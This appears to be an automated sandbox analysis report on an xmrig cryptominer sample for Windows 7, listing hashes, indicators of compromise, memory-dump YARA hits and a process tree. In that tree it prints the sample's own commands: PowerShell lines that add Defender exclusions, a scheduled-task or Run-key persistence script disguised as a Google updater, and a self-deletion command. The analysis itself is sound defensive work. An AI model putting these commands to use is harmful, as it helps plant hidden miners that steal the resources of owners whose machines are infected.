xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
371s
max time network
1799s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2992 created 1244	2992	Yvdp8t5knpQz7sFB.exe	21
PID 2992 created 1244	2992	Yvdp8t5knpQz7sFB.exe	21
PID 2992 created 1244	2992	Yvdp8t5knpQz7sFB.exe	21
PID 2992 created 1244	2992	Yvdp8t5knpQz7sFB.exe	21
PID 1260 created 1244	1260	updater.exe	21
PID 1260 created 1244	1260	updater.exe	21
PID 1260 created 1244	1260	updater.exe	21
PID 1260 created 1244	1260	updater.exe	21
PID 1860 created 1244	1860	conhost.exe	21
PID 1260 created 1244	1260	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral31/memory/2364-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/2364-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2696	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1260	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2636	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/2364-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/2364-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1260 set thread context of 1860	1260	updater.exe	52
PID 1260 set thread context of 2364	1260	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2872	schtasks.exe
1476	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1668	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0e2e5b1b94fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2992	Yvdp8t5knpQz7sFB.exe
2992	Yvdp8t5knpQz7sFB.exe
1528	powershell.exe
2992	Yvdp8t5knpQz7sFB.exe
2992	Yvdp8t5knpQz7sFB.exe
2192	powershell.exe
2992	Yvdp8t5knpQz7sFB.exe
2992	Yvdp8t5knpQz7sFB.exe
2992	Yvdp8t5knpQz7sFB.exe
2992	Yvdp8t5knpQz7sFB.exe
2936	powershell.exe
1260	updater.exe
1260	updater.exe
784	powershell.exe
1260	updater.exe
1260	updater.exe
796	powershell.exe
1260	updater.exe
1260	updater.exe
1260	updater.exe
1260	updater.exe
1860	conhost.exe
1860	conhost.exe
1260	updater.exe
1260	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	1260	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeSecurityPrivilege	1668	WMIC.exe
Token: SeTakeOwnershipPrivilege	1668	WMIC.exe
Token: SeLoadDriverPrivilege	1668	WMIC.exe
Token: SeSystemtimePrivilege	1668	WMIC.exe
Token: SeBackupPrivilege	1668	WMIC.exe
Token: SeRestorePrivilege	1668	WMIC.exe
Token: SeShutdownPrivilege	1668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1668	WMIC.exe
Token: SeUndockPrivilege	1668	WMIC.exe
Token: SeManageVolumePrivilege	1668	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeSecurityPrivilege	1668	WMIC.exe
Token: SeTakeOwnershipPrivilege	1668	WMIC.exe
Token: SeLoadDriverPrivilege	1668	WMIC.exe
Token: SeSystemtimePrivilege	1668	WMIC.exe
Token: SeBackupPrivilege	1668	WMIC.exe
Token: SeRestorePrivilege	1668	WMIC.exe
Token: SeShutdownPrivilege	1668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1668	WMIC.exe
Token: SeUndockPrivilege	1668	WMIC.exe
Token: SeManageVolumePrivilege	1668	WMIC.exe
Token: SeLockMemoryPrivilege	2364	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2872	2192	powershell.exe	32
PID 2192 wrote to memory of 2872	2192	powershell.exe	32
PID 2192 wrote to memory of 2872	2192	powershell.exe	32
PID 2696 wrote to memory of 2908	2696	cmd.exe	33
PID 2696 wrote to memory of 2908	2696	cmd.exe	33
PID 2696 wrote to memory of 2908	2696	cmd.exe	33
PID 2936 wrote to memory of 2596	2936	powershell.exe	38
PID 2936 wrote to memory of 2596	2936	powershell.exe	38
PID 2936 wrote to memory of 2596	2936	powershell.exe	38
PID 2636 wrote to memory of 1260	2636	taskeng.exe	40
PID 2636 wrote to memory of 1260	2636	taskeng.exe	40
PID 2636 wrote to memory of 1260	2636	taskeng.exe	40
PID 796 wrote to memory of 1476	796	powershell.exe	47
PID 796 wrote to memory of 1476	796	powershell.exe	47
PID 796 wrote to memory of 1476	796	powershell.exe	47
PID 1260 wrote to memory of 1860	1260	updater.exe	52
PID 1596 wrote to memory of 1668	1596	cmd.exe	53
PID 1596 wrote to memory of 1668	1596	cmd.exe	53
PID 1596 wrote to memory of 1668	1596	cmd.exe	53
PID 1260 wrote to memory of 2364	1260	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2872
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1712
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1668
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1860
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2364

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2908

C:\Windows\system32\taskeng.exe
taskeng.exe {062BEE49-F9E6-4ACB-9931-E6E977750808} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 159KB
SHA256 9703bab7ad4f5823f5d1a09929f3e8cc4aa0d28943e3b6931ac432ad0655983f
MD5 8a4e2c4eb0c67d311e8d066b60702961
SHA1 85e8afa08cd184ee190a0386cfef50c66137b4cb
SHA512 87d24df79ccd63922c1251f49a7dda38b4b66a978b185dc5082a27feeac172d0f1d73dc17f7e10f316541a16a15fd4dbde250603702c37f1786007c662e084f7
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRk:L3zjTg6uUuViDX5Q6k6hyqsD238k
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.4MB
SHA256 7972ce80efaed484bfa351a4f569ecbacb539e8945ceab2ff4e763e46447a8e2
MD5 2d5c71ebcc16bc286d522f11dc7ce74a
SHA1 8a0b87a4b4ef3fbaca4ed6dd1a80242da9421a49
SHA512 c105eb11590dfc53011c94b455edc4af3c2655a3f5ec6a7eda3a91e4fe5d0b1d6e9223a495e9470275f974229468c6f5a72215a46f0ec2f77ba37e11bbede00a
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkY/:rWVipAxqo5p88CbXuxWQiSJU320ZW216
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 372e8fc05de97036eab7fd2ca95af67f16ac908489125be1cd41ac344fdc97c0
MD5 23cf399dffbf3bc4ec2739a8e699d2af
SHA1 781bfd018abfb97a311b697778fb1c288ce2556b
SHA512 9921248058517d44ff3cfc7b9d3cb55fa75afa96f1e705d129602bc503b5c13cb4d912c6a3788d4573df3d4fe9b5c4ffce566702aa3966c149feb30ba3bdb5b9
SSDEEP 96:EJb+CtM8adnqvsqvJCwopJb+CtM8adnqvsEHyqvJCworjnqh7dQHKx7RnJdXlUVE:ED+dUo3D+dAHnorjnCdnx7RnJdz
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 111KB
SHA256 f46f34690e53ca36e55136317f9a980597d37de3e7bdaeb09a0ef4ee8c5ebf51
MD5 1042cf70f68ea345511a4299264dfc13
SHA1 b91ca256afc09e3fa5e2a079c86dec80c7030a07
SHA512 6fd0251b880cd64e700f31190891aaf114273701f66f24f99b1a8425e506053bf0c2dc12fb26c5848dfd4b52ee8e39cf7379422c8880961ec695ceb73ba3212c
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI19y:L3zjTv46w/ZUFO5TbwWpUt1D995tC
MD5 SHA1 SHA512 SSDEEP

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memory/784-45-0x0000000000C80000-0x0000000000D00000-memory.dmp

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memory/784-46-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/784-44-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/784-47-0x0000000000C80000-0x0000000000D00000-memory.dmp

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memory/784-48-0x0000000000C80000-0x0000000000D00000-memory.dmp

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memory/784-49-0x0000000000C80000-0x0000000000D00000-memory.dmp

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memory/784-50-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/796-52-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/796-53-0x00000000010C0000-0x0000000001140000-memory.dmp

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memory/796-54-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/796-58-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/796-56-0x00000000010C0000-0x0000000001140000-memory.dmp

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memory/796-57-0x00000000010C0000-0x0000000001140000-memory.dmp

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memory/796-55-0x00000000010C0000-0x0000000001140000-memory.dmp

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memory/1260-43-0x000000013F770000-0x000000013F981000-memory.dmp

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memory/1260-65-0x000000013F770000-0x000000013F981000-memory.dmp

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memory/1528-8-0x0000000002710000-0x0000000002790000-memory.dmp

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memory/1528-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

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memory/1528-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/1528-6-0x0000000001F60000-0x0000000001F68000-memory.dmp

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memory/1528-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/1528-12-0x0000000002710000-0x0000000002790000-memory.dmp

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memory/1528-13-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

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memory/1528-11-0x0000000002710000-0x0000000002790000-memory.dmp

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memory/1528-10-0x0000000002710000-0x0000000002790000-memory.dmp

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memory/1860-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1860-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2192-24-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2192-21-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/2192-20-0x0000000002260000-0x0000000002268000-memory.dmp

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memory/2192-22-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2192-19-0x000000001B230000-0x000000001B512000-memory.dmp

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memory/2192-23-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/2192-25-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2192-26-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

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memory/2364-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-135-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-67-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/2364-68-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2364-69-0x0000000000830000-0x0000000000850000-memory.dmp

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memory/2364-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-77-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2364-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-80-0x0000000000830000-0x0000000000850000-memory.dmp

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memory/2364-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2364-98-0x0000000140000000-0x00000001407F4000-memory.dmp

